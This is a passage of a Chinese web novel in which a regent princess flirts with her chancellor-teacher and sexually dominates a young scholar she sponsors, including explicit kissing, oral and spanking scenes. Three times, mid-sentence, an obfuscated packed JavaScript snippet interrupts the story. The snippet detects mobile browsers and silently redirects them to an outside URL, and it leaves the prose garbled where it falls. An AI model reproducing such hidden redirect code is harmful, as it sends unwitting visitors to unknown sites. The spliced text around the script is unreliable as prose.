各地举子也在上元宫宴之后陆续上京,住在崇化坊中专为考生而设的驿馆备考。由于考生人数众多,文士之间又一向有茶馆辩论的传统,崇化坊里的茶楼也就做起了这考生生意。 当中生意最好的,莫过于就在驿馆旁边的“状元楼”。 状元楼共有上下两层,地下是广阔的大堂,茶客在桌子之间自由走动,高谈阔论,辩得眉飞色舞的、说得别有见地的那些士子周边都聚集了不少听众,众星拱月般把针锋相对的两人围在中间。这样的“包围圈”也有几个,人流络绎不绝,清脆的辩论声也是此起彼伏。 楼上一层只是垂着帷幕的几个雅间,自从状元楼成为会试考生最常出没的论政之地,临近考试之期,便有越来越多达官贵人来到这里,他们一方面不想将自己暴露在考生的视线之下,另一方面也想从旁观察当届考生,这是除了“行卷”之外,另一种在试场外让朝廷中人认识甚至提早招揽应届举子的方法。而这些让楼上的人可以听见楼下的辩论,楼下士子却窥不见楼上贵人面目的雅间,便专是为了这个目的而设。 冬日微微西斜,外面天寒地冻,状元楼最大的雅间却是暖意融融,雅间四角俱置了火炉,地上铺着厚软毛毯,房中更是薰了沉木清香,一切家具布置都是极尽奢华却又不失雅致。 火红长裙的女郎半躺在宽敞的软榻上,柔弱无骨似的靠在仅仅占了软塌一角的男人身上。 男人一副正襟危坐的样子,坐姿却是极不自然的僵硬,半瓣臀肉悬在半空,脚尖紧绷,脸上挂着一副无奈的苦笑。 “老师不坐得舒服一点么?”越长风歪着头,桃花眼里笑意荡漾:“我们可还要在这里听一个下昼。” “咳咳。”沈约干咳两声,眉头微蹙,沉声道:“殿下不好好坐,为师怎么能坐得舒服。” 他越是一本正经,越长风便越是生出了逗弄的心思,手臂缠上男人的腰腹,指尖有一下没一下的打着圈儿。感觉到男人轻颤,她低低一笑,附在他的耳边轻喃:“老师往后挨着,让学生抱抱,不就舒服了。” 沈约按住那只作乱的手,象征式的在手背上拍了拍,却没有把它拉开,而是任它搁在自己腰间。鬓边一缕发丝垂落,恰好遮住了嘴角那抹压不住的浅笑。 “你不说话,本宫就当你同意了。”越长风见他沉默不语,还以为他是羞于回答,只在他耳边轻笑。 环在腰间的手捏了捏手下软肉,另一只手却是揭开了面前帷幕的一角,视线正正对上了大堂上方悬挂着的“状元楼”牌匾。 “老师也给本宫写一副牌匾好不好。”她往男人的脖颈之间轻轻呼气,撒娇似的摇着男人的身子。 沈约没有中过状元,甚至没有中过一甲,当年的他也不过是二甲入仕而已。只是他当年在状元楼一论成名,后来又位极人臣,状元楼自然巴结着他,请他写了这一副牌匾。 权力还真是个好东西。 沈约一双黑眸注视着她,嗓音有些沙哑:“写什么?” 越长风侧头装作想了好一阵子,才悠悠说道:“就写……天地君亲师,好不好?” 11. 第 11 章 天地君亲师。 无论是君臣还是师徒,这五个字都代表着两人之间隔着身份和伦常的重重沟壑。 ——于越长风来说,却不过是调情之际的一句戏言而已。 明知禁忌,而向往禁忌。就像沈约本身让她着迷的割裂感一样,端着端方清正的君子作派,嘴里一声为师一句臣下,故作自持的坐得笔直,却悄悄地按着那只作乱的手,有意无意地诱导她继续逗玩自己。 “为师便索性赠你两句。”沈约冷哼一声,低沉磁性的声音却荡漾着笑意。 “左一句尊师重道,右一句欺师灭祖。”俊美眉眼一扬,男人在她正在自己胸腹打着圈圈的手上惩诫似的轻拍一下,“长风要怎么选,嗯?” 越长风低低轻笑,反手与他十指交缠,一边睁着眼睛说瞎话:“老师果然是最了解本宫的人——知道学生这样做是因为老师喜欢被我欺负,所以欺师即尊师也。” 冷静禁欲的中年权相,此刻耳根泛起了几乎微不可见的一丝微红。 “你——” 越長風笑:“好,是我不要臉。” 她用腳尖輕點他的靴尖:“都聽老師的,繼續欺負老師——不許拒絕本宮。” 沈約:!!! 他没有接过她的胡说八道,而是稍稍侧头,顺着揭开一角的帘子,看向楼下开始辩论的士子。 “状元楼”的牌匾下聚集了好大一群人,许多衣着华贵的名门士子众星拱月般把一人围在中间,那人一身朴素青衣,发髻仅仅用一枝毛笔固定,除此之外身无饰物,显然是一名寒门出身的贫穷儒生。 儒生虽是衣装寒酸,模样却甚是是俊俏,一头青丝如瀑,长眉斜飞入鬓,普通的青衣也穿出了几分风采来,唇边笑意俊逸而自信。 沈约的视线禁不住落在儒生身上,还没看得清楚,一只纤纤玉手却把他的头扳转过来,柔软的触感随即贴上他的双唇。 微红的耳根一下子涨得通红。 越长风的双唇压在他的唇上,辗转吮吸,轻轻噬咬,在他檀口微启时舌尖灵活的钻了进去,在他的牙床轻松摩挲,再沿着他的上颚缓缓深入,温柔而不容抗拒的舌尖直达他的舌根,逗弄着,舔吻着,邀他共舞。本来微凉的体温渐渐上升,酥麻滚热引得男人不禁轻颤,灵台的一丝清明本能的想要抗拒,心底深处却不由自主的想被自己的学生引领、主导……掌控。 直到沈约淡漠的星眸染上一丝迷离,越长风笑了笑,指腹轻抚他滚烫的脸颊。 “别看他们。”她的气息呼在他的唇上,鼻息浑浊交融。“看着我。” 沈约的目光已经重归清明,默默注视着那双慵懒恣意的眼睛。桃花眼娇艳而深邃,眼尾微微上扬,似笑非笑,黑眸深处似乎有什么能蛊惑人心。 半晌,他才强行把视线从那双黑眸移开,轻轻一叹:“殿下又不会只看着臣一个。” 越长风装作听不明白他话中深意,漫不经心的道:“现在本宫面前,不就只有老师一个?” 沈约身体一僵,就算知道那不过是她信口胡诌的毫不走心之语,心里一角还是忍不住的塌陷。 过了不知多久,他才下定决心似的把越长风贴着他的身子挣开,重新揭起帘子一角,另一只手倨傲的负在背后,脊梁挺直,又是一副权臣帝师的模样。 “殿下,我们今日来这里……是为了这些会试举子。”低沉的嗓音还带着一丝哑意,语调带着一些无奈。“不是玩乐。” 不是玩乐,是玩你啊,老师。 银铃般的笑声在背后响起,越长风却没有动作,任他透过揭起的一角看向下方。 青衣儒生已经在侃侃而谈。身边的名门公子有的轻蔑,有的不忿,有的好奇,更多的却是一脸发自真心的敬重和钦佩。 看来青衣儒生在这场状元楼辩论之前,在这些举子士人之中已名气不少。 忽听一名士子问:“沈相推行新政,是利大于弊,还是弊大于利?” 柔软的唇瓣贴上被点名之人的耳垂,越长风轻轻一笑:“相爷,在说你呢。” 一声“相爷”彷佛对调了两人之间的身份尊卑,沈约身子一僵,深深吸了一口气,强迫自己把注意力转移到楼下的举子身上。 这个问题并不易答。 议论朝政大事,尤其是拥有辅政大权的当朝中书令、政事堂宰相之首,若是放在从前,足可带来牢狱之灾。 可也是在沈约成为中书令之后,朝廷开始放宽了对民间议政的限制,应试举人在茶馆辩论,内容也由虚无缥缈的历史人物变成当下时政。无论是提问的士子还是作答的青衣儒生,大概也没有想到正主就在楼上看着。 青衣儒生沉吟半晌,朗声回道:“凡是新政,皆有利有弊。利大还是弊大,观点不同,答案自然不同。” 他的声音清朗悠扬,散发着少年人的朝气,清澈的嗓音也让人如沐春风。 儒生顿了顿,又道:“比如沈相主张改革税制,对诸位——”他环顾四周,目光缓缓扫过一众金冠华服的世家公子——“来说,未必便是好事。” “但是,对于皇城之中的朝廷来说,却是剪去了不必要的枝节,为国库减轻压力。对于顾某在贫民窟的左右邻里来说,更是天公下了一场及时雨。” 青年在这里止住话头,恰好让围观众人陷入哗然。这名大胆妄议的儒生竟是出自帝都之中的贫民窟,而他在一片以世家子第为主的人群之中毫不畏惧地指出甚至挑起士庶之家的对立…… 一片此起彼伏的议论声中,青年忽然摆了摆手,四周再一次变得鸦雀无声。 青年微微一笑,话锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029641|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转:“又比如中央集权,削弱地方府衙,对地方来说并非好事,但对我们这些追求仕途的人来说——” “谁不想拥有更多的权力?谁不想操纵旁人的命运?” “朝廷政策由京城里的三省制定,京官自然便是既得利益之人。我们寒窗苦读,考取功名,不就是为了成为既得利益的一分子么?” 青年耸耸肩,神情轻松,似有一丝暗讽。 那双微微上扬的凤眼里,却也闪动着坚定的点点星芒。沈约看着那样一双明明陌生却又似曾相识的眼眸,陷入了一阵恍惚。 “呵。”耳鬓传来一下轻笑。 “口没遮拦,字字诛心。对忧国忧民那些表面功夫不屑一顾,却又代表着毫无价值的底层百姓走进体制的野望和理想。”越长风在男人耳边呢喃。“这样的人,换了是别的主考官,大概是连卷子也不会看,直接轰出考场的吧?” 沈约闷闷一笑:“这样的人,对于朝廷来说,的确过于危险。” 声音淡然,听不出喜恶。 就在这时,楼下有人问道:“顾兄说了这么多,难到沈相新政,就不过是朝廷和世家之间一场角力游戏,其他有关的人、甚至新政内容本身,就一点也不重要?” 似是料到那人会问,顾姓儒生悠然而笑,不疾不徐的说:“非也,非也。” “结果是谁受惠,的确并不重要。新政事在必行,也与结果无关。” 阁楼上沈约转头,看向敛了笑意,一脸认真地注视自己的女郎。他知道越长风将他带来的用意,神秘组织的刺杀目的既然作为会试主考的他,那他就更有必要好好认识本届考生,确保在会试中可以选拔到对朝廷有利的人,而不会误选到属于神秘组织的人。 如今他满心只有楼下那名青衣举人的眼中星光,神情复杂的叹了一口气。 “长风,看着他,为师就像看到了十二年前的我自己。” 十二年前的沈约也曾在茶楼一辩成名,他也曾经与考生争辩,当廷质疑考官,挑战朝廷现有的士庶之别,权力不公。若没有当届的主考官力保他以末位录取三甲,又没有先帝在殿试上把他重新排在二甲,他本来连翰林院的门也进不了。 然后他在官场上浮浮沉沉十二年,从身不由己到终于拥有了决定旁人生死存亡的权力。 迎难而上,是为了什么? 这个问题,沈约问过国子监里的每一位学生,也会问每一位带著文章请他行卷的应考士子。因为,这个问题,二十四岁初入官场的二甲进士沈约,曾经无数次的问过自己。 他定定的看着眼前学生,一字一顿的,说出了青衣儒生在同一时间对楼下观眾说的、一模一样的话: “因为世道腐朽入骨,若不从朝廷体制内变革,就只会走向灭亡,然后破而后立。” 12. 第 12 章 夕阳西下,崇化坊里的茶馆准备打烊,状元楼里的茶客陆续离开。 一辆不起眼的小轿停在了崇化坊一角一间不起眼的小宅院前。轿夫上前敲了敲门,没过多久中门大开,整辆轿子被抬了进去。 直到身后大门重新关上,轿子上才走下一人,大红华裳,长裙曳地,与低调的轿子和普通的宅院都是格格不入。 屋里的青年男子小跑上前,拉过华裳广袖下的手,笑着喊了一声:“殷姐姐。” 男子一袭青衣,海藻般的长发以一支毛笔簪住,长眉入鬓,眉眼清逸俊朗,凤目上扬,勾起了好看的弧度。 方才还在茶楼激辩的儒生此刻像只粘人的小狗,手指紧紧缠着女郎的手,雀跃的上下摇摆着。读书人长年执笔的手瘦削而修长,骨节分明,指甲圆润干净,白的发光的皮肤下青色的筋络十分明显。 越长风似笑非笑的看着他,任他拉着自己的手,没有推拒,却也没有进一步的意思。 儒生拉着她的手,近乎是一蹦一跳的将她拉进屋内,全然没有状元楼里那副从容自若的样子。 屋内摆设简朴,却是五脏具全,越长风坐在书桌后儒生平时读书时坐着的椅子上,儒生半跪在她的身旁,双手捧着垂落的手,弯成月牙儿的眼睛专注仰望。 “姐姐,殷姐姐。”在状元楼里骄傲自信的清朗嗓音此刻也是带了几分娇气。 越长风用被十指包着的那只手刮刮他的手心,看见男子精致的羽睫轻颤,调笑道:“在状元楼里口若悬河的顾解元,怎么现在就只懂得叫姐姐了?” 儒生睁大眼睛,一脸讶异:“殷姐姐刚才也在?” 越长风用闲着的另一只手取下儒生发间毛笔,青年的一头墨发如瀑布一下散落,越长风满意的笑笑,像抚摸小狗般揉揉他的发顶。 “来看看姐姐的小狗,长得有多大了。” 话里的侵略性和支配欲显得毫不含糊,儒生听在耳中,却是连眼也不眨,反而撒娇似的往她的手上蹭了蹭。 “小锦卿早就长大了。”语带双关,大胆露骨。“姐姐可要再验一验?” 越长风轻笑出声,任他蹭了一会,才对屋外的轿夫扬声:“告诉府中,我今晚在这里歇下了。” 顾姓儒生全名顾锦卿,年方二十,在繁华帝京里最阴暗的贫民窟长大,却从淤泥中脱颖而出,以贫贱寒民之身在人才辈出的京兆府乡试中夺得解元,自此声名大噪。 那是承元二十四年的乡试,那一年的顾锦卿不过十六。承元二十四年,也是承元帝急病崩逝的那一年,当今小皇帝越成璧登基,昭阳长公主越长风手持遗诏摄政,随即便以小皇帝之名重开乡试,大肆取录寒门士子。 贫民窟出身的京兆府顾解元,自然没有逃过越长风的双眼。就在乡试结果出来的第二日,贫民窟里的顾家便迎来了一名锦衣华服的女子,女子自称殷夫人,愿意出资资助这位有史以来最年轻的寒门解元,直到他考上会试。 自此顾锦卿便搬出了贫民窟,搬进了崇化坊这座不起眼的小宅院。“资助人”殷夫人来过几次,每次都带来市面上一册难求的史书经论,和颜悦色地问他功课,与他讨论治国理政、当下时局。每次他对这位“殷夫人”感激涕零,表示愿意肝脑涂地以表忠心,女郎都只是笑着揉揉他的头,不作回应。 顾锦卿本以为日子就会这样继续下去。 直到两年前的一个月黑风高夜,顾锦卿挑灯夜读,门外忽然传来一阵紊乱甚至苍惶的脚步声。 他的资助人由一名玄袍金冠的高大男子扶了进来,顾锦卿认得玄炮上的纹饰,属于京中人人闻风丧胆的玄武卫。男子面相峻冷,容色阴鸷,有如鹰隼的双眸盯得顾锦卿脊骨发寒。而他的资助人一向爱穿的大红华裳染了班班驳驳的暗红血迹,袖口还在向下流淌着殷红的鲜血。 “殷姐姐!”顾锦卿哪里见过资助人这副样子,他战战兢兢的碎步上前,想要扶着她的另一边,又怕碰到她的伤口,正在踌躇不决的时候。 峻冷男人已经不耐烦的低喝:“别碰她。” 顾锦卿一下僵住,女郎却在这时轻叹:“行舟。” “扶我进去。”这句命令却是对着两人同时发出。 顾锦卿在前引路,两人夹手夹脚的把人扶到床上倚墙而坐。 女郎的脸上已有一层薄汗,名叫“行舟”的冷峻男人从怀里掏出一块精致丝帕,细细给她擦汗。 顾锦卿还没从变故中反应过来,傻愣愣的站在那里。 陆行舟用眼角余光睥了他一眼:“纱布、绷带、热水。” 顾锦卿几乎把屋子都翻了个底朝天,才翻了纱布绷带出来,又手忙脚乱的打了热水。 陆行舟在解元郎的面前毫不避讳的脱去越长风华裳外衣,为她肩上伤口上药,又一丝不苟的擦洗伤口周边,直到干涸的血迹完全抹去,才为她扎上绷带,重新掩上衣领。 “回去吧,行舟。”越长风低喘着气,气息有些无力,却依旧冷静的对着男人发号施令,“我今晚先留在这里。” 冷峻男人的眉头皱成了川字形:“卑职担心——” 越长风打断了他。“这座宅子记在顾解元名下,没有人找得到这里来。” 顾锦卿心弦一颤。 越长风却只是续道:“把杂草都翦除干净,我才好安心回府。” 男人看了看一旁像受惊小狗惊魂未定的顾锦卿,又看了看脸色苍白但仍悠然自得的主上,喉结一滚,欲言又止。 最终,只是行了一礼,低头转身出门。 顾锦卿见高大男人的身影彻底消失,才蹑手蹑脚的走到床边坐下,小心翼翼的问:“殷姐姐,我知道我不该问,但是……” “既然知道,就不要问了。”越长风声音柔和,脸上虚弱的笑着,却带着不容置疑的冷硬和冰寒。 “是……是。”顾锦卿嗫嚅应道。 见他乖巧听话,越长风的脸色才柔缓几分。 “总之,我今晚要在锦卿这里借宿一宵啦。” 顾锦卿一怔,腼腆笑笑:“这宅子本来就是殷姐姐的。” 他顿了顿,又补上一句:“包括锦卿在内……也是。” 越长风有些讶异,端详着眼前的清澈少年。顾锦卿紧抿着的唇有些泛白,琉璃的双眸隐隐泛着水光,彷佛有些后知后觉的羞耻,又彷佛有些不带期待的希冀。 她懒散地倚着墙,笑道:“锦卿……你在贫民窟里出生,这名字倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029642|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取得好。” “人也养得很好。” 顾锦卿搔搔头,有些不好意思的说:“其实,锦卿这名字,并非父母所取。” “我小时候受邻家哥哥照拂,识字之初是由他启蒙,后来大名也是由他所取。” 越长风知道他家境极是艰难,却没有多少同理心,对他那什么邻家哥哥也没有兴趣,反而好奇的问:“那你从小到大,家里人都叫你什么?” 顾锦卿俏脸一红,支支吾吾的:“……” “……狗子。” 越长风噗哧一声笑了出来,就连肩上的伤口也彷佛不痛了。 顾锦卿双颊涨红,委屈的看着她:“粗鄙之言,是姐姐要我说的。” ……越看越像一对可怜兮兮的小狗眼睛。 越长风贵为摄政长公主,对于什么粗鄙优雅其实统统都不在意,但她乐得看她的小解元小心翼翼的模样。 越长风欣赏着少年被心绪影响后更显明艳俏丽的脸,抬起没有受伤的手,抚上了他的脸颊。 “小狗不粗鄙的。”她强忍着笑,温声哄道:“小狗很可爱啊。” “做姐姐的小狗,好不好?” 顾锦卿毫无来由的一阵心慌,身体本能想要后退,手臂却突然被一股力量拉扯着向前,然后身体一阵腾空,背部狠狠的撞在床上。 他被那只没有受伤的手死死的压在床上,两人一上一下,顾锦卿对上的只有资助人那张美艳绝伦的脸。 两人身体紧紧相贴,越长风感受着血气方刚的少年那火热的体温,彼此的呼吸清晰可闻。离得如此之近,一股清冷的木香顺着交融的气息传入她的鼻子里。 顾锦卿看着女郎的眉眼,明媚似火而又冷静清醒,多情的桃花眼尾微微上扬,似笑非笑,黑眸深处似乎有什么足以蛊惑人心。 压在身上的人明明是一介负伤女流,顾锦卿却发现自己竟是一动不动,在她专注而深邃的目光下心跳如擂鼓。 越长风一扬手,将他发髻中的毛笔抽走,顾锦卿一头如藻长发散落开来,发丝落在少年额前鬓边,微微上扬的狭长凤目欲语还休,眼角眉稍都泛着春意。 越长风的指腹轻扫他鲜艳欲滴的唇瓣,极轻,极柔。 眼尾睄到房梁上的暗影,她比谁都要清楚陆行舟是怎样阳奉阴违、自作主张的一个人。 既然他这么喜欢看,那就让他看个够好了。越长风的嘴角勾起一抹嘲弄的微笑。 “小狗,会伺候人么?” 顾锦卿的心中噗噗乱跳,一时心乱如麻,他不知道自己该不该拒绝。 或者他没有拒绝的权利。 或者他根本就不想做拒绝的选择。 殷姐姐给了他想要的一切,他每一次看着她的眼神,都有着自己不难发现的灼热。 而她可以寻到就连那些世家公子也难以买到的那些书籍,身边又有玄武卫贴身保护,显然位高权重。这样的人,没有他,也肯定会有别人。 他还在纠结什么呢,他本来就是什么也没有的人,比别人更明白想要什么就要自己争取的道理。 顾锦卿定定注视着那双诱人沉沦的幽深黑眸,听见自己颤抖的声音回道:“小狗……可以学的。” 13.第 13 章 听到想要的答案,越长风满足的往后一坐,伸手把羞涩欲滴的少年拉起来。 顾锦卿也没敢让她用力,自己坐直身子,两人面面相对,鼻尖之间只有一指的距离。 越长风欣赏着少年手足无措的样子,淡淡问:“没伺候过女人?” 这却是明知故问了。顾锦卿自幼长在贫民窟里,连女子的小手都没有碰过,“殷夫人”更是第一位主动接触他的女人。他又怎会有过什么伺候女人的经验? 见他呆呆愣愣的摇头,越长风心里更乐了,脸上却是不显,只轻慢一笑,平无波澜的说:“要姐姐教,小狗可是要付出代价的。” 少年定定的看着她,琉璃的双目里仿佛有彩芒流转。 “请姐姐……教我。”清澈的声音带了一丝娇气软语,如春风轻拂人心。 芊芊玉指伸出,指腹点在顾锦卿红润的唇瓣上。 顾锦卿瞪大一双水盈盈的眼睛,微凉的指尖点在唇上,他却只觉皮肤被火炙过,条件反射式的往后一缩。 越长风秀眉一扬:“躲什么?小狗。” 顾锦卿瞬间回魂,一双琉璃眸子此刻显得有些氤氲,清朗的嗓音也染上了一丝迷离。 “对……对不起姐姐。” 越长风轻轻嗯了一声,算是接受了他的道歉。长指探入口腔之中,撬开没有多少反抗的指关,刺激得舌苔直立,沿着温香软舌一直摸到舌根。 小狗舌头没有再躲。 越长风抽出半截手指,在他的舌尖一点:“用这里——” 然后把剩下的半截抽出,用小狗的口涎把红润的唇瓣涂得光亮:“和这里。” “伺候我,懂了吗?” 说罢,也不待顾锦卿应答,便懒懒合上了眼。 须臾,她便感觉到有濡湿温软的物事贴在自己的眼帘上。 越长风忍不住笑出声来,羽睫一颤一颤的,少年看着她的目光灼热而专注,小心翼翼的在左眼帘上印下一吻,然后伸出舌尖轻舔一下。 “嗯。”越长风舒爽的谓叹。 “继续。” 顾锦卿在她的右眼帘上如法炮制,然后来到鼻梁上,一点一点的往下舔吻。在鼻尖上重重一嘬,让她讶异的睁眼,看见的是诡计得逞而得意洋洋的小狗笑靥。 看见就连受了血光之灾也处变不惊的殷姐姐难得意外的样子,顾锦卿双手捧着那张明艳的脸,舌腹舔上了她的脸颊。 ——就像对主人表示亲切、努力用自己讨好主人的小狗一样。 越长风脸一偏,吻上了小狗的唇。 这个吻一反她强势的风格,动作刻意的放缓,舌尖轻柔地摩挲挑逗,带领他与自己共舞。她就像在顾锦卿那一张白纸上画下属于自己的色彩,看着迷离沉醉的表情出现在少年清雅俊逸的脸上,占有和支配的快感一点一点充满空虚的心房。 顾锦卿确实什么都不懂,接着吻时不会换气,却憋着气不愿抽离,直到一吻结束,小狗眼中水光流转,眼尾泛红,呼吸紊乱急促,仿佛全身力气抽干般无力地挂在她的脖颈上。 越长风单手抚着他海藻般的长发,鼻间隐隐嗅到一股清新的木香。 “继续。” 顾锦卿还在低喘着气,却是顺从的埋头工作。解元郎的学习能力不是一般的快,单凭女子下意识的颤抖和放在头上有一下没一下的按揉便已经掌握到她的敏感之处,精准伺候之余,还一副故作不解的样子,瞪着一双琉璃眼眸,含含糊糊的问她:“老师,小狗学得可快?” 越长风一下子上了顶峰。 她平时对着沈约一口一个老师叫得恬不知耻,没想到在床笫之间被人叫老师……原来是这种感觉。 “好孩子。”她重重吁了一口气。 “你做得很好。” “不愧是我的小解元。” 海水退潮以后,越长风才想起之前的梁上黑影。抬头看去,却已不复得见。 也不知道陆行舟是走了,还是只是藏得更严实。 如果他还在窥看……接下来的东西,让他看看也无妨。越长风倚着床头坐直,让顾锦卿趴在自己膝上。 这样的姿势让顾锦卿尴尬至极,双颊红通通的,嘴里支吾着:“姐姐还有伤在身……” 越长风板起脸来,“知道姐姐有伤在身,就别乱动。” 顾锦卿面朝下,看不见她的面容,只听得见头顶上传来越长风恶劣的笑语:“小狗还记得么,要我教你,是要付出代价的。” 然后他感到她的手指勾住自己的腰带,腰带被轻松解下,早已凌乱不堪的一身青衣就此散开。 “呃!”顾锦卿呼吸一滞,毫无预兆的一下抽痛让他惊呼出声。 越长风在他看不见的上方笑了笑,声音却是淡淡的:“自己报数。” 腰带一下又一下的打在身后,穷书生的腰带没有什么金玉配饰本就不痛,顾锦卿出身于贫民窟,也不是什么身娇肉贵的小公子,他却从来都没有这么羞耻过。 ……像极了小孩子被师长惩戒的样子。 偏偏越长风一边抽打,一边还俯身在他耳边问:“下次还要姐姐教么?” “小解元喜不喜欢被姐姐教训?” 而他除了粗喘着气报数,什么也说不出来。 顾锦卿自小早慧,在学堂里也有邻家哥哥照拂,从未被人这般惩戒过,更何况他现在人高马大的,又是解元之身。不怎么痛的痛楚中夹着阵阵酥麻,打得他禁不住的抽搐颤抖,额上薄汗淋漓,耳根更是透红。 直到他数到十九,身后传来的不再是腰带的触感,而是软软的、凉凉的,肌肤相贴。 “好孩子。”他的资助人再次温柔抚慰,随口赞叹:“姐姐最喜欢听话的小解元了。” 顾锦卿一下转过身来,羞耻部位和床面接触让他嘶的一声叫了出来。 对着明显被取悦到的越长风,他撇了撇嘴,眸中水汪汪的,一副被欺负足了的模样。 半晌,他才轻轻呢喃:“我会长大的。” “我会做殷姐姐的大状元,回报姐姐,为姐姐所用。” 越长风揉揉他的发顶,明媚一笑:“好。” “第二十下,姐姐就等你高中状元再罚。” ----- 二月上旬,又到中书省的例行休沐日。 沈相是出了名的敬业乐业,往日就算是休沐日也往往留在宫中办公,就算不在宫中办公也会在府里接见大小官员、文人商贾,除了告病在家的日子意外,很少有不见外人的日子。 这天沈约却不在宫里,而沉府也一反常态的大门紧闭,相府管家回绝了一切拜帖,只称相爷身有要事,不见外客。 一辆以黑布为幕的低调轿子却从侧门抬进相府,直接停在内院的书房门外。 轿子上走下两个人来,越长风对着扶她下轿的顾锦卿吩咐道:“乖乖待在这里等我。”说罢便径自进了沈相书房。 书房里,沈约剑眉微皱,脸色冷凝,沉声道:“殿下带着外人直闯臣的内院,是为何意。” 越长风今天心情不错,收敛起戏谑的神色,一本正经的回答:“我想向老师介绍一个人。” “臣这内院的门,从来都为殿下而开,臣也毋须过问殿下来意。”沈约摇了摇头,语气似乎和缓了些,脸色却又一沉:“只是。” “殿下为什么要带别人进来?” 越长风一怔,沈约一如既往的冷静沉稳,负手而立,一副权臣帝师的不怒自威。只有注视着她的眸子深处,似乎多了一丝失望……和委屈。 是因为她主动让别的男子,闯进了沈约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037391|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划下的、以为只会属于他们两人的一片空间? 越长风几乎便要感到内疚。可惜,她这人实在没有多少同理心,对“唯一”也没有什么概念。 她便只是拉着男人的手,一双桃花眼仿佛无比认真的注视着他,嘴里却是毫不走心的哄:“是我不对,老师,我下次不会了。” 沈约轻轻叹了一口气,明知她没半点心,他却没有什么立场再去说些什么。 越长风也没有给他机会说些什么,干咳两声,话锋一转:“把四大世家当作扯线木偶的神秘势力已经尝试刺杀老师、操控科举,我们需要借这场会试扳回一局。” “我想老师应该会很有兴趣认识这名举子。” 沈约微微颔首,默认了她把人传唤进来。 他几乎是毫不意外的看到了那日在状元楼里口若悬河的青衣儒生。 ——也不知道她是把他那句“为师就像看到了十二年前的我自己”放在心里,还是让他亲眼看见青衣儒生在茶楼里的表现然后顺理成章地把这位锋芒毕露的解元郎介绍给他这个主考官,本来就是她蓄谋已久的计划。 然而,从青衣儒生看着她的眼神来看,沈约也无法欺骗自己,事实显然就是后者。 青年藏得很好,在看见他的那一刻便低下头去,瞬间断绝了和越长风的眼神相接,规规矩矩的作揖:“小生顾锦卿,见过相爷。” 沈约淡淡“嗯”了一声,没有流露出任何喜恶:“锦卿,是个好名字。” 顾锦卿一呆,凤眸微弯,勾起了清澈无瑕的一抹微笑:“殷姐姐也是这样说的。” 殷姐姐?沈约剑眉饶有兴趣的一扬。原来如此。 “那么,顾解元。”沈约负手而立,神色倨傲矜贵:“可有带文章前来?” 知道来见的是会试主考沈中书,顾锦卿又怎会没有带着文章?便连忙从怀里掏出,双手呈上。 沈约却没有伸手接过。他的手依旧负在背后,目光缓缓扫过顾锦卿的脸。青年低垂着头,沈约看不见他的眼睛,也不知道他的眼眸深处是否还燃烧着他在状元楼里远远看见的点点星火。 “行卷之前,先回答本相一个问题。”沈约悠悠说道。 他顿了顿,深深吸了一口气,才问出了他一贯的问题:“为官之路道阻且长,你更是寒门白衣出身,能走到这一步已经是近乎不可能的事,然而日后面对的艰难和阻滞,比起现在只会有多无少。” “那么,告诉本相,”沈约直直的凝视着面前青年,不放过他脸上神色的任何一丝变化。 “你依旧选择迎难而上,是为了什么?” 顾锦卿抬首,微微一笑。在和沈约视线对上的一刻,两人都看到了对方眸中生生不灭的熊熊烈火。只是一个是初生之犊,另一个则是不忘初心。 “为了证明。”顾锦卿声音清朗,让人如沐春风,语气却是异常坚毅。 “证明我对命运的不甘,不是毫无道理。” “证明我也可以以自己的身份,堂堂正正地站在朝堂之上。” “证明这个世道还有得救,而我便是可以拯救这个世道的人。” 这番话其实充满耐人寻味之处,但无论是沈约还是一旁的越长风都没有发现。 沈约沉醉在少年和十多年前的自己那许多相似之处,恍惚呆坐良久才让他呈上文章,一字一句的仔细阅读。 直到太阳西斜,他才长长吁了一口气,把顾锦卿的文章放在桌上,转头让少年先行出去。 书房的门重新合上,沈约定定的看着一脸认真地注视着他的越长风,神色骤然变得凝重。 越长风感觉到了气氛的不同,不禁问他:“老师在想什么?” 沈约默然,仿佛思考了很多遍,才缓缓开口,却是反问:“殿下可有听过影子朝廷?” 14.第 14 章 “影子……朝廷?” 越长风此前从未听过这个名称。她本来在沈约面前总是没个正形,但现在他的脸色竟是前所未有的凝重,让她也不禁正襟危坐起来,就像从前在国子监里不耻下问的好学生一样。 沈约也像从前在国子监里敬业乐业的好老师,细心解释:“朝廷官员、世家豪族、民间商贾,这三方势力支撑起如今的越氏天下。” 越长风点点头。不仅如此,这三者之间从来都有着千丝万缕的关系;世家豪族由一代接一代的入仕官员形成,民间商贾若没有官商勾结也无法成为业内龙头。 